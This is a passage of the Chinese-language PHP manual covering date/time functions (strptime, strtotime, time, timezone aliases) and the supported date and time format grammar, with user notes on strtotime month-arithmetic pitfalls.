Known format   : 'M' = '24'                ( Two digit representation of the minute )
Known format   : 'S' = '44'                ( Two digit representation of the second )
Known format   : 'U' = '48'                ( Week number of the given year, starting with the first Sunday as the first week )
Known format   : 'W' = '48'                ( A numeric representation of the week of the year, starting with the first Monday as the first week )
Known format   : 'X' = '11:24:44'          ( Preferred time representation based on locale, without the date )
Known format   : 'Y' = '2010'              ( Four digit representation for the year )
Known format   : 'Z' = 'GMT Standard Time' ( The time zone offset/abbreviation option NOT given by %z (depends on operating system) )
Known format   : 'a' = 'Fri'               ( An abbreviated textual representation of the day )
Known format   : 'b' = 'Dec'               ( Abbreviated month name, based on the locale )
Known format   : 'c' = '12/03/10 11:24:44' ( Preferred date and time stamp based on local )
Known format   : 'd' = '03'                ( Two-digit day of the month (with leading zeros) )
Known format   : 'j' = '337'               ( Day of the year, 3 digits with leading zeros )
Known format   : 'm' = '12'                ( Two digit representation of the month )
Known format   : 'p' = 'AM'                ( UPPER-CASE "AM" or "PM" based on the given time )
Known format   : 'w' = '5'                 ( Numeric representation of the day of the week )
Known format   : 'x' = '12/03/10'          ( Preferred date representation based on locale, without the time )
Known format   : 'y' = '10'                ( Two digit representation of the year )
Known format   : 'z' = 'GMT Standard Time' ( Either the time zone offset from UTC or the abbreviation (depends on operating system) )
Known format   : '%' = '%'                 ( A literal percentage character ("%") )
Unknown format : 'C'                       ( Two digit representation of the century (year divided by 100, truncated to an integer) )
Unknown format : 'D'                       ( Same as "%m/%d/%y" )
Unknown format : 'E'
Unknown format : 'F'                       ( Same as "%Y-%m-%d" )
Unknown format : 'G'                       ( The full four-digit version of %g )
Unknown format : 'J'
Unknown format : 'K'
Unknown format : 'L'
Unknown format : 'N'
Unknown format : 'O'
Unknown format : 'P'                       ( lower-case "am" or "pm" based on the given time )
Unknown format : 'Q'
Unknown format : 'R'                       ( Same as "%H:%M" )
Unknown format : 'T'                       ( Same as "%H:%M:%S" )
Unknown format : 'V'                       ( ISO-8601:1988 week number of the given year, starting with the first week of the year with at least 4 weekdays, with Monday being the start of the week )
Unknown format : 'e'                       ( Day of the month, with a space preceding single digits )
Unknown format : 'f'
Unknown format : 'g'                       ( Two digit representation of the year going by ISO-8601:1988 standards (see %V) )
Unknown format : 'h'                       ( Abbreviated month name, based on the locale (an alias of %b) )
Unknown format : 'i'
Unknown format : 'k'                       ( Hour in 24-hour format, with a space preceding single digits )
Unknown format : 'l'                       ( Hour in 12-hour format, with a space preceding single digits )
Unknown format : 'n'                       ( A newline character ("\n") )
Unknown format : 'o'
Unknown format : 'q'
Unknown format : 'r'                       ( Same as "%I:%M:%S %p" )
Unknown format : 's'                       ( Unix Epoch Time timestamp )
Unknown format : 't'                       ( A Tab character ("\t") )
Unknown format : 'u'                       ( ISO-8601 numeric representation of the day of the week )
Unknown format : 'v'

注释

Note: %G 和 %V，如果数字编号系统未能充分理解，基于 ISO 8601:1988 的星期数可能得出未预期的结果。见上面的 %V 和以下的例子。

参见

  • IntlDateFormatter::format() - Format the date/time value as a string
  • DateTimeInterface::format() - 按照指定格式返回格式化后的日期
  • » Online strftime() format design tool
  • setlocale() - 设置区域信息
  • mktime() - 取得一个日期的 Unix 时间戳
  • strptime() - 解析由 strftime 生成的日期／时间
  • gmstrftime() - 根据区域设置格式化 GMT/UTC 时间/日期
  • » Open Group specification of strftime()

User Contributed Notes

divinity76+spam at gmail dot com 07-Jan-2023 05:56
there is a strftime compatibility package for php>=8.1 at https://github.com/alphp/strftime


解析由 strftime 生成的日期／时间

  • ? strftime
  • strtotime ?
  • PHP Manual
  • Date/Time 函数
  • 解析由 strftime 生成的日期／时间

strptime

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

strptime — 解析由 strftime() 生成的日期／时间

Warning

此函数自 PHP 8.1.0 起弃用。强烈建议不要应用此函数。

说明

strptime(string $timestamp, string $format): array|false

strptime() 返回一个将 timestamp 解析后的数组，如果出错返回 false。

月份和星期几的名字以及其它与语种有关的字符串对应于 setlocale()设定的当前区域（LC_TIME）。

参数

timestamp（string）

被解析的字符串（例如从 strftime() 返回的）

format（string）

timestamp 所使用的格式（例如同 strftime() 中所使用的相同）。

更多有关格式选项的信息见 strftime() 页面。

返回值

返回一个数组 或者在失败时返回 false

数组中包含以下单元
键名 | 说明
tm_sec | 当前分钟内的秒数（0-61）
tm_min | 当前小时内的分钟数（0-59）
tm_hour | 午夜起的小时数（0-23）
tm_mday | 月份中的第几天（1-31）
tm_mon | 自一月起过了几个月（0-11）
tm_year | 自 1900 年起过了几年
tm_wday | 自星期天起过了几天（0-6）
tm_yday | 本年自一月一日起过了多少天（0-365）
unparsed | timestamp 中未能通过指定的 format 识别的部分

更新日志

版本 | 说明
8.1.0 | 此函数已弃用。改用 date_parse_from_format()（用于单独区域设置解析）或者 IntlDateFormatter::parse()（用于依赖区域设置解析）

示例

Example #1 strptime() 例子

<?php
$format = '%d/%m/%Y %H:%M:%S';
$strf = strftime($format);

echo "$strf\n";

print_r(strptime($strf, $format));
?>

以上示例的输出类似于：

03/10/2004 15:54:19

Array
(
    [tm_sec] => 19
    [tm_min] => 54
    [tm_hour] => 15
    [tm_mday] => 3
    [tm_mon] => 9
    [tm_year] => 104
    [tm_wday] => 0
    [tm_yday] => 276
    [unparsed] =>
)

注释

Note: 此函数未在 Windows 平台下实现。

Note:

Internally, this function calls the strptime() function provided by the system's C library. This function can exhibit noticeably different behaviour across different operating systems. The use of date_parse_from_format(), which does not suffer from these issues, is recommended.

Note:

"tm_sec" includes any leap seconds (currently upto 2 a year). For more information on leap seconds, see the » Wikipedia article on leap seconds.

参见

  • IntlDateFormatter::parse() - Parse string to a timestamp value
  • DateTime::createFromFormat() - 根据指定格式解析时间字符串
  • checkdate() - 验证一个格里高里日期
  • strftime() - 根据区域设置格式化本地时间/日期
  • date_parse_from_format() - Get info about given date formatted according to the specified format

User Contributed Notes

There are no user contributed notes for this page.


将任何英文文本日期时间描述解析为 Unix 时间戳

  • ? strptime
  • time ?
  • PHP Manual
  • Date/Time 函数
  • 将任何英文文本日期时间描述解析为 Unix 时间戳

strtotime

(PHP 4, PHP 5, PHP 7, PHP 8)

strtotime — 将任何英文文本日期时间描述解析为 Unix 时间戳

说明

strtotime(string $datetime, ?int $baseTimestamp = null): int|false

本函数期望接受包含英文日期格式的字符串并尝试将其解析为 Unix 时间戳（自 January 1 1970 00:00:00 UTC 起的秒数），其值跟 baseTimestamp 参数给出的时间相关，如果没有提供 baseTimestamp 参数则为当前时间。在日期和时间格式中定义了日期字符串解析，并且有几个微秒的注意事项，强烈建议查看完整详细信息。

Warning

本函数返回的 Unix 时间戳不包含时区信息，为了实现对日期/时间信息进行计算，推荐使用功能更强大的 DateTimeImmutable。

本函数的每个参数都使用默认时区，除非在该参数指定了时区。注意不要在每个参数中使用不同的时区，除非是故意的。参考 date_default_timezone_get() 获取定义默认时区的各种方法。

参数

datetime

日期/时间字符串。正确格式的说明详见 日期与时间格式。

baseTimestamp

时间戳，用作计算相对日期的基础。

返回值

成功则返回时间戳，否则返回 false。

错误／异常

在每次调用日期/时间函数时，如果时区无效则会引发 E_NOTICE 错误。参见 date_default_timezone_set()。

更新日志

版本 | 说明
8.0.0 | 现在 baseTimestamp 允许为 null。

示例

Example #1 strtotime() 例子

<?php
echo strtotime("now"), "\n";
echo strtotime("10 September 2000"), "\n";
echo strtotime("+1 day"), "\n";
echo strtotime("+1 week"), "\n";
echo strtotime("+1 week 2 days 4 hours 2 seconds"), "\n";
echo strtotime("next Thursday"), "\n";
echo strtotime("last Monday"), "\n";
?>

Example #2 失败检查

<?php
$str = 'Not Good';

if (($timestamp = strtotime($str)) === false) {
echo "The string ($str) is bogus";
} else {
echo "$str == " . date('l dS \o\f F Y h:i:s A', $timestamp);
}
?>

注释

Note:

在这种情况下，"相对"日期还意味着，如果未提供日期/时间的特定组成部分，则将从 baseTimestamp 逐字获取。也就是说如果在 2022 年 5 月 31 日运行 strtotime('February')，将被解释为 31 February 2022，它将溢出到 3 March 的时间戳。（在闰年，应该是 2 March。）使用 strtotime('1 February') 或者 strtotime('first day of February') 可以避免这个问题。

Note:

如果指定的年份位数是两位数字，则其值 0-69 表示 2000-2069，70-99 表示 1970-1999。参阅下面的注释了解 32 位系统上可能的差异（结束日期可能是 2038-01-19 03:14:07）。

Note:

时间戳的有效范围通常从 Fri, 13 Dec 1901 20:45:54 UTC 到 Tue, 19 Jan 2038 03:14:07 UTC（这些日期对应 32 位有符号整数的最小值和最大值）。

在 64 位的 PHP 版本中，时间戳的有效范围实际上是无限的，因为 64 位在任一方向上都可以代表大约 2930 亿年。

Note:

不建议使用此函数对日期进行数学运算。推荐使用 DateTime::add() 和 DateTime::sub() 函数。

参见

  • DateTimeImmutable
  • DateTimeImmutable::createFromFormat() - Parses a time string according to a specified format
  • 日期和时间格式
  • checkdate() - 验证一个格里高里日期
  • strptime() - 解析由 strftime 生成的日期／时间

User Contributed Notes

cesarfrisa at yahoo dot es 01-Jun-2023 08:29
This is the link to the relative formats that can be used in this function. It's not easy to find in the documentation.

https://www.php.net/manual/en/datetime.formats.relative.php

Here some examples:
<?php
$today = date( 'Y-m-d', strtotime( 'today' ) );
echo "Today: " . $today;

// Print: Today: 2023-06-01

//Basic Example
$tomorrow = date( 'Y-m-d', strtotime( 'tomorrow' ) );
echo "\n\nTomorrow: " . $tomorrow;

// Print: Tomorrow: 2023-06-02

$yesterday = date( 'Y-m-d', strtotime( 'yesterday' ) );
echo "\n\nYesterday: " . $yesterday;

// Print: Yesterday: 2023-05-31

// Add o subtract Month
$variable = date( 'Y-m-d', strtotime( '+1 month' ) );
echo "\n\nAdd one month: " . $variable;

// Print: Add one month: 2023-07-01

$variable = date( 'Y-m-d', strtotime( '-1 month' ) );
echo "\n\nSubstract one month: " . $variable;

// Print: Substract one month: 2023-05-01

// More complex formats:
// ERROR / BUG: If today is the last day of the month. This examples can be one error or bug.
// If you are looking el first day of previous or next month you dont must use last Relative Format.
// You must use 'first day of 2 months ago' or 'first day of previous month'
// See you:
// https://bugs.php.net/bug.php?id=22486
// https://bugs.php.net/bug.php?id=44073
// strtotime("+1 Month")
// produces the wrong result on the 31st day of the month.
// on January 31, date("m",strtotime("+1 Month")) will return 03 instead of 02

// Another example:
$dt1 = strtotime("2023-01-30");
$month = strtotime("+1 month", $dt1);
echo "\n\nToday is: " . date( 'Y-m-d', $dt1 );
echo  "\nBUG add month: " . date("Y-m-d", $month);

// Print:
// Today is: 2023-01-30
// BUG add month: 2023-03-02

$dt1 = strtotime("2023-02-28");
$month = strtotime("-1 month", $dt1);
echo "\n\nToday is: " . date( 'Y-m-d', $dt1 );
echo  "\nBUG substract month: " . date("Y-m-d", $month);

// Print:
// Today is: 2023-02-28
// BUG substract month: 2023-01-28

$dt1 = strtotime("2023-01-30");
$month = strtotime("first day of next month", $dt1);
echo "\n\nToday is: " . date( 'Y-m-d', $dt1 );
echo  "\nFirst day of next month: " . date("Y-m-d", $month);

// Print:
// Today is: 2023-01-30
// First day of next month: 2023-02-01

$dt1 = strtotime("2023-02-28");
$month = strtotime("last day of last month", $dt1);
echo "\n\nToday is: " . date( 'Y-m-d', $dt1 );
echo  "\nLast day of last month: " . date("Y-m-d", $month);

// Print:
// Today is: 2023-02-28
// Last day of last month: 2023-01-31

$dt1 = strtotime("2023-02-28");
$month = strtotime("first day of 2 months ago", $dt1);
echo "\n\nToday is: " . date( 'Y-m-d', $dt1 );
echo  "\nFirst day of 2 months ago: " . date("Y-m-d", $month);

// Print:
// Today is: 2023-02-28
// First day of 2 months ago: 2022-12-01

?>
info at pipasjourney dot com 31-May-2023 10:02
Be aware of this: 1 month before the 31st day, it will return the same month:

<?php
echo date('m', strtotime('2023-05-30 -1 month')) ; //returns 04
echo date('m', strtotime('2023-05-31 -1 month')) ; //returns 05, not 04
?>

So, don't use this to operate on the month of the result.
A better way to know what month was the previous month would be:

<?php
//considering today is 2023-05-31...

$firstOfThisMonth = date('Y-m') . '-01'; //returns 2023-05-01
echo date('m', strtotime($firstOfThisMonth . ' -1 month')) ; //returns 04
?>
MarkAgius at markagius dot co dot uk 08-May-2023 10:21
Note:
If day of month is 12 or less, or year is entered as a two digit number and less than 31 or 12 then you may get the wrong time value.
If you know the format used with the date string, then use the following code: (PHP version 5.5 or later)
[code]
function getStrtotime($timeDateStr, $formatOfStr="j/m/Y"){
  // Same as strtotime() but using the format $formatOfStr.
  // Works with PHP version 5.5 and later.
  // On error reading the time string, returns a date that never existed. 3/09/1752 Julian/Gregorian calendar switch.
  $timeStamp = DateTimeImmutable::createFromFormat($formatOfStr,$timeDateStr);
  if($timeStamp===false){
    // Bad date string or format string.
    return -6858133619; // 3/09/1752
  } else {
    // Date string and format ok.
    return $timeStamp->format("U"); // UNIX timestamp from 1/01/1970,  0:00:00 gmt
  }
}

print date("j/m/Y", getStrtotime("1/02/2022", "j/m/Y"))." Standard format. (j)<BR>\n";
print date("j/m/Y", getStrtotime("1/02/2022", "d/m/Y"))." Standard format. (d)<BR>\n";
print date("j/m/Y", getStrtotime("1/02/2022", "j/m/y"))." Standard format. (y) &lt;-- Bad date as 2022 is not two digits.<BR>\n";
print date("j/m/Y", getStrtotime("21/02/2022", "j/m/Y"))." Standard format. (j)<BR>\n";
print date("j/m/Y", getStrtotime("21/02/2022", "d/m/Y"))." Standard format. (d)<BR>\n";
print date("j/m/Y", getStrtotime("2/01/2022", "m/j/Y"))." US format.<BR>\n";
print date("j/m/Y", getStrtotime("2-01-22", "m-j-y"))." Two digit year, US format. (Y)<BR>\n";
print date("j/m/Y", getStrtotime("2-01-22", "m-j-Y"))." Two digit year, US format. (y) &lt;-- Wrong year if two digits.<BR>\n";
print date("j/m/Y", getStrtotime("3/09/1752", "j/m/Y"))." No such date.<BR>\n";
print date("j/m/Y", getStrtotime("50/00/19999", "j/m/Y"))." Bad date string.<BR>\n";
print date("j/m/Y", getStrtotime("1-02-2022", "j/m/Y"))." Wrong - or / used.<BR>\n";
[/code]
Output:
1/02/2022 Standard format. (j)
1/02/2022 Standard format. (d)
3/09/1752 Standard format. (y) <-- Bad date as 2022 is not two digits.
21/02/2022 Standard format. (j)
21/02/2022 Standard format. (d)
1/02/2022 US format.
1/02/2022 Two digit year, US format. (Y)
1/02/0022 Two digit year, US format. (y) <-- Wrong year if two digits.
3/09/1752 No such date.
3/09/1752 Bad date string.
3/09/1752 Wrong - or / used.
Vyacheslav Belchuk 17-Mar-2023 03:39
Be careful when using two numbers as the year. I came across this situation:

<?php

echo strtotime('24.11.22');
echo date('d.m.Y H:i:s', 1669324282)  .  "\n\n";

// But
echo strtotime('24.11.2022');
echo date('d.m.Y H:i:s', 1669237200);

?>

Output:

1669324282
25.11.2022 00:11:22

1669237200
24.11.2022 00:00:00


返回当前的 Unix 时间戳

  • ? strtotime
  • timezone_abbreviations_list ?
  • PHP Manual
  • Date/Time 函数
  • 返回当前的 Unix 时间戳

time

(PHP 4, PHP 5, PHP 7, PHP 8)

time — 返回当前的 Unix 时间戳

说明

time(): int

返回自从 Unix 纪元（格林威治时间 1970 年 1 月 1 日 00:00:00）到当前时间的秒数。

Note:

Unix 时间戳不包含任何有关本地时区的信息。建议使用 DateTimeImmutable 类来处理日期和时间信息， 以避免 Unix 时间戳带来的陷阱。

参数

此函数没有参数。

返回值

返回当前时间戳。

示例

Example #1 time() 例子

<?php
echo 'Now: '. time();
?>

以上示例的输出类似于：

Now: 1660338149

注释

Tip

在 $_SERVER['REQUEST_TIME'] 中保存了发起该请求时刻的时间戳。

参见

  • DateTimeImmutable
  • date() - 格式化 Unix 时间戳
  • microtime() - 返回当前 Unix 时间戳和微秒数

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTimeZone::listAbbreviations

  • ? time
  • timezone_identifiers_list ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTimeZone::listAbbreviations

timezone_abbreviations_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_abbreviations_list — 别名 DateTimeZone::listAbbreviations()

说明

此函数是该函数的别名： DateTimeZone::listAbbreviations()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTimeZone::listIdentifiers

  • ? timezone_abbreviations_list
  • timezone_location_get ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTimeZone::listIdentifiers

timezone_identifiers_list

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_identifiers_list — 别名 DateTimeZone::listIdentifiers()

说明

此函数是该函数的别名： DateTimeZone::listIdentifiers()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTimeZone::getLocation

  • ? timezone_identifiers_list
  • timezone_name_from_abbr ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTimeZone::getLocation

timezone_location_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

timezone_location_get — 别名 DateTimeZone::getLocation()

说明

此函数是该函数的别名： DateTimeZone::getLocation()

User Contributed Notes

There are no user contributed notes for this page.


Returns a timezone name by guessing from abbreviation and UTC offset

  • ? timezone_location_get
  • timezone_name_get ?
  • PHP Manual
  • Date/Time 函数
  • Returns a timezone name by guessing from abbreviation and UTC offset

timezone_name_from_abbr

(PHP 5 >= 5.1.3, PHP 7, PHP 8)

timezone_name_from_abbr — Returns a timezone name by guessing from abbreviation and UTC offset

说明

timezone_name_from_abbr(string $abbr, int $utcOffset = -1, int $isDST = -1): string|false

参数

abbr

Time zone abbreviation.

utcOffset

Offset from GMT in seconds. Defaults to -1 which means that first found time zone corresponding to abbr is returned. Otherwise exact offset is searched and only if not found then the first time zone with any offset is returned.

isDST

Daylight saving time indicator. Defaults to -1, which means that whether the time zone has daylight saving or not is not taken into consideration when searching. If this is set to 1, then the utcOffset is assumed to be an offset with daylight saving in effect; if 0, then utcOffset is assumed to be an offset without daylight saving in effect. If abbr doesn't exist then the time zone is searched solely by the utcOffset and isDST.

返回值

Returns time zone name on success 或者在失败时返回 false.

示例

Example #1 A timezone_name_from_abbr() example

<?php
echo timezone_name_from_abbr("CET") . "\n";
echo timezone_name_from_abbr("", 3600, 0) . "\n";
?>

以上示例的输出类似于：

Europe/Berlin
Europe/Paris

参见

  • timezone_abbreviations_list() - 别名 DateTimeZone::listAbbreviations

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTimeZone::getName

  • ? timezone_name_from_abbr
  • timezone_offset_get ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTimeZone::getName

timezone_name_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_name_get — 别名 DateTimeZone::getName()

说明

此函数是该函数的别名： DateTimeZone::getName()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTimeZone::getOffset

  • ? timezone_name_get
  • timezone_open ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTimeZone::getOffset

timezone_offset_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_offset_get — 别名 DateTimeZone::getOffset()

说明

此函数是该函数的别名： DateTimeZone::getOffset()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTimeZone::__construct

  • ? timezone_offset_get
  • timezone_transitions_get ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTimeZone::__construct

timezone_open

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_open — 别名 DateTimeZone::__construct()

说明

此函数是该函数的别名： DateTimeZone::__construct()

User Contributed Notes

There are no user contributed notes for this page.


别名 DateTimeZone::getTransitions

  • ? timezone_open
  • timezone_version_get ?
  • PHP Manual
  • Date/Time 函数
  • 别名 DateTimeZone::getTransitions

timezone_transitions_get

(PHP 5 >= 5.2.0, PHP 7, PHP 8)

timezone_transitions_get — 别名 DateTimeZone::getTransitions()

说明

此函数是该函数的别名： DateTimeZone::getTransitions()

User Contributed Notes

There are no user contributed notes for this page.


获取 timezonedb 版本

  • ? timezone_transitions_get
  • 日期/时间 Error 和 Exception ?
  • PHP Manual
  • Date/Time 函数
  • 获取 timezonedb 版本

timezone_version_get

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

timezone_version_get — 获取 timezonedb 版本

说明

timezone_version_get(): string

返回当前 timezonedb 版本。

参数

此函数没有参数。

返回值

返回格式为 YYYY.increment 的 string，比如 2022.2。

如果时区数据库版本比较旧（比如不显示今年），然后可以通过升级 PHP 版本或者安装 » timezonedb PECL 包来更新时区信息。

一些系统发行版对 PHP 的日期/时间支持打了补丁，以便使用另一个来源的时区信息。在这种情况下，此函数将会返回 0.system。在这种情况下也建议安装 » timezonedb 包。

示例

Example #1 获取 timezonedb 版本

<?php
echo timezone_version_get();
?>

以上示例的输出类似于：

2022.2

参见

  • 时区支持列表

User Contributed Notes

There are no user contributed notes for this page.


日期/时间 Error 和 Exception

  • DateError (extends Error)
    • DateObjectError DateRangeError
  • DateException (extends Exception)
      • DateInvalidOperationException
      • DateInvalidTimezoneException
      • DateMalformedIntervalStringException
      • DateMalformedPeriodStringException
      • DateMalformedStringException

User Contributed Notes

There are no user contributed notes for this page.


Supported Date and Time Formats

This section describes all the different formats in a BNF-like format, that the DateTimeImmutable, DateTime, date_create_immutable(), date_create(), date_parse(), and strtotime() parser understands. The formats are grouped by section. In most cases formats from different sections, separated by whitespace, comma or dot, can be used in the same date/time string. For each of the supported formats, one or more examples are given, as well as a description for the format. Characters in single quotes in the formats are case-insensitive ('t' could be t or T), characters in double quotes are case-sensitive ("T" is only T).

To format DateTimeImmutable and DateTime objects, please refer to the documentation of the DateTimeInterface::format() method.

A general set of rules should be taken into account.

  1. The parser, allows for each unit (year, month, day, hour, minute, second) the full range of values. For a year that's just 4 digits, for a month that's 0-12, day is 0-31, hour is 0-24, and minute is 0-59.
  2. 60 is allowed for seconds, as sometimes date strings with that leapsecond do show up. But PHP implements Unix time where "60" is not a valid second number and hence it overflows.
  3. strtotime() returns false if any number is outside of the ranges, and DateTimeImmutable::__construct() throws an exception.
  4. If a string contains a date, all time elements are reset to 0.
  5. All less-significant time elements are reset to 0 if any part of a time is present in the given string.
  6. The parser is dumb, and doesn't do any checks to make it faster (and more generic).
  7. Besides rules for individual time elements, the parser also understand more specific compound formats, such as parsing Unix timestamps (@1690388256) and ISO Weekdates (2008-W28-3).

  8. There is an additional check if an invalid date is provided:

    <?php
    $res     = date_parse("2015-09-31");
    var_dump($res["warnings"]);
    ?>

    以上示例会输出：

    array(1) {
  [11] =>
  string(27) "The parsed date was invalid"
}

  9. It is already possible to handle the edge cases, but then DateTimeImmutable::createFromFormat() must be used while supplying the correct format.

    <?php
    $res     = DateTimeImmutable::createFromFormat("Y-m-d", "2015-09-34");
    var_dump($res);

    以上示例会输出：

    object(DateTimeImmutable)#1 (3) {
  ["date"]=>
  string(26) "2015-10-04 17:24:43.000000"
  ["timezone_type"]=>
  int(3)
  ["timezone"]=>
  string(13) "Europe/London"
}

Time Formats

This page describes the different date/time formats in a BNF-like syntax,
that the DateTimeImmutable,
DateTime, date_create(),
date_create_immutable(), and
strtotime() parser understands.

To format DateTimeImmutable and DateTime objects, please refer to the documentation of the DateTimeInterface::format() method.

Used Symbols
Description | Formats | Examples
frac | . [0-9]+ | ".21342", ".85"
hh | "0"?[1-9] | "1"[0-2] | "04", "7", "12"
HH | [01][0-9] | "2"[0-4] | "04", "07", "19"
meridian | [AaPp] .? [Mm] .? [\0\t ] | "A.m.", "pM", "am."
MM | [0-5][0-9] | "00", "12", "59"
II | [0-5][0-9] | "00", "12", "59"
space | [ \t] |
tz | "("? [A-Za-z]{1,6} ")"? | [A-Z][a-z]+([_/][A-Z][a-z]+)+ | "CEST", "Europe/Amsterdam", "America/Indiana/Knox"
tzcorrection | "GMT"? [+-] hh ":"? MM? | "+0400", "GMT-07:00", "-07:00"
12 Hour Notation
Description | Format | Examples
Hour only, with meridian | hh space? meridian | "4 am", "5PM"
Hour and minutes, with meridian | hh [.:] MM space? meridian | "4:08 am", "7:19P.M."
Hour, minutes and seconds, with meridian | hh [.:] MM [.:] II space? meridian | "4:08:37 am", "7:19:19P.M."
MS SQL (Hour, minutes, seconds and fraction with meridian) | hh ":" MM ":" II [.:] [0-9]+ meridian | "4:08:39:12313am"
24 Hour Notation
Description | Format | Examples
Hour and minutes | 't'? HH [.:] MM | "04:08", "19.19", "T23:43"
Hour and minutes, no colon | 't'? HH MM | "0408", "t1919", "T2343"
Hour, minutes and seconds | 't'? HH [.:] MM [.:] II | "04.08.37", "t19:19:19"
Hour, minutes and seconds, no colon | 't'? HH MM II | "040837", "T191919"
Hour, minutes, seconds and timezone | 't'? HH [.:] MM [.:] II space? ( tzcorrection | tz ) | "040837CEST", "T191919-0700"
Hour, minutes, seconds and fraction | 't'? HH [.:] MM [.:] II frac | "04.08.37.81412", "19:19:19.532453"
Time zone information | tz | tzcorrection | "CEST", "Europe/Amsterdam", "+0430", "GMT-06:00"

Date Formats

This page describes the different date formats in a BNF-like syntax, that
the DateTimeImmutable,
DateTime, date_create(),
date_create_immutable(), and
strtotime() parser understands.

To format DateTimeImmutable and DateTime objects, please refer to the documentation of the DateTimeInterface::format() method.

Used Symbols
Description | Format | Examples
daysuf | "st" | "nd" | "rd" | "th" |
dd | ([0-2]?[0-9] | "3"[01]) daysuf? | "7th", "22nd", "31"
DD | "0" [0-9] | [1-2][0-9] | "3" [01] | "07", "31"
m | 'january' | 'february' | 'march' | 'april' | 'may' | 'june' | 'july' | 'august' | 'september' | 'october' | 'november' | 'december' | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' | "I" | "II" | "III" | "IV" | "V" | "VI" | "VII" | "VIII" | "IX" | "X" | "XI" | "XII" |
M | 'jan' | 'feb' | 'mar' | 'apr' | 'may' | 'jun' | 'jul' | 'aug' | 'sep' | 'sept' | 'oct' | 'nov' | 'dec' |
mm | "0"? [0-9] | "1"[0-2] | "0", "04", "7", "12"
MM | "0" [0-9] | "1"[0-2] | "00", "04", "07", "12"
y | [0-9]{1,4} | "00", "78", "08", "8", "2008"
yy | [0-9]{2} | "00", "08", "78"
YY | [0-9]{4} | "2000", "2008", "1978"
YYY | [0-9]{5,19} | "81412", "20192"
Localized Notations
Description | Format | Examples
American month and day | mm "/" dd | "5/12", "10/27"
American month, day and year | mm "/" dd "/" y | "12/22/78", "1/17/2006", "1/17/6"
Four digit year, month and day with slashes | YY "/" mm "/" dd | "2008/6/30", "1978/12/22"
Four digit year and month (GNU) | YY "-" mm | "2008-6", "2008-06", "1978-12"
Year, month and day with dashes | y "-" mm "-" dd | "2008-6-30", "78-12-22", "8-6-21"
Day, month and four digit year, with dots, tabs or dashes | dd [.\t-] mm [.-] YY | "30-6-2008", "22.12.1978"
Day, month and two digit year, with dots or tabs | dd [.\t] mm "." yy | "30.6.08", "22\t12.78"
Day, textual month and year | dd ([ \t.-])* m ([ \t.-])* y | "30-June 2008", "22DEC78", "14 III 1879"
Textual month and four digit year (Day reset to 1) | m ([ \t.-])* YY | "June 2008", "DEC1978", "March 1879"
Four digit year and textual month (Day reset to 1) | YY ([ \t.-])* m | "2008 June", "1978-XII", "1879.MArCH"
Textual month, day and year | m ([ .\t-])* dd [,.stndrh\t ]+ y | "July 1st, 2008", "April 17, 1790", "May.9,78"
Textual month and day | m ([ .\t-])* dd [,.stndrh\t ]* | "July 1st,", "Apr 17", "May.9"
Day and textual month | dd ([ .\t-])* m | "1 July", "17 Apr", "9.May"
Month abbreviation, day and year | M "-" DD "-" y | "May-09-78", "Apr-17-1790"
Year, month abbreviation and day | y "-" M "-" DD | "78-Dec-22", "1814-MAY-17"
Year (and just the year) | YY | "1978", "2008"
Year (expanded, 5-19 digits with sign) | [+-] YYY | "-81120", "+20192"
Textual month (and just the month) | m | "March", "jun", "DEC"
ISO8601 Notations
Description | Format | Examples
Eight digit year, month and day | YY MM DD | "15810726", "19780417", "18140517"
Four digit year, month and day with slashes | YY "/" MM "/" DD | "2008/06/30", "1978/12/22"
Two digit year, month and day with dashes | yy "-" MM "-" DD | "08-06-30", "78-12-22"
Four digit year with optional sign, month and day | [+-]? YY "-" MM "-" DD | "-0002-07-26", "+1978-04-17", "1814-05-17"
Five+ digit year with required sign, month and day | [+-] YYY "-" MM "-" DD | "-81120-02-26", "+20192-04-17"

Note:

For the y and yy formats, years below 100 are handled in a special way when the y or yy symbol is used. If the year falls in the range 0 (inclusive) to 69 (inclusive), 2000 is added. If the year falls in the range 70 (inclusive) to 99 (inclusive) then 1900 is added. This means that "00-01-01" is interpreted as "2000-01-01".

Note:

The "Day, month and two digit year, with dots or tabs" format (dd [.\t] mm "." yy) only works for the year values 61 (inclusive) to 99 (inclusive) - outside those years the time format "HH [.:] MM [.:] SS" has precedence.

Note:

The "Year (and just the year)" format only works if a time string has already been found -- otherwise this format is recognised as HH MM.

Caution

It is possible to over- and underflow the dd and DD format. Day 0 means the last day of previous month, whereas overflows count into the next month. This makes "2008-08-00" equivalent to "2008-07-31" and "2008-06-31" equivalent to "2008-07-01" (June only has 30 days).

Note that the day range is restricted to 0-31 as indicated by the regular expression above. Thus "2008-06-32" is not a valid date string, for instance.

It is also possible to underflow the mm and MM formats with the value 0. A month value of 0 means December of the previous year. As example "2008-00-22" is equivalent to "2007-12-22".

If you combine the previous two facts and underflow both the day and the month, the following happens: "2008-00-00" first gets converted to "2007-12-00" which then gets converted to "2007-11-30". This also happens with the string "0000-00-00", which gets transformed into "-0001-11-30" (the year -1 in the ISO 8601 calendar, which is 2 BC in the proleptic Gregorian calendar).

Compound Formats

This page describes the different compound date/time formats in a BNF-like
syntax, that the DateTimeImmutable,
DateTime, date_create(),
date_create_immutable(), and
strtotime() parser understands.

To format DateTimeImmutable and DateTime objects, please refer to the documentation of the DateTimeInterface::format() method.

Used Symbols
Description | Formats | Examples
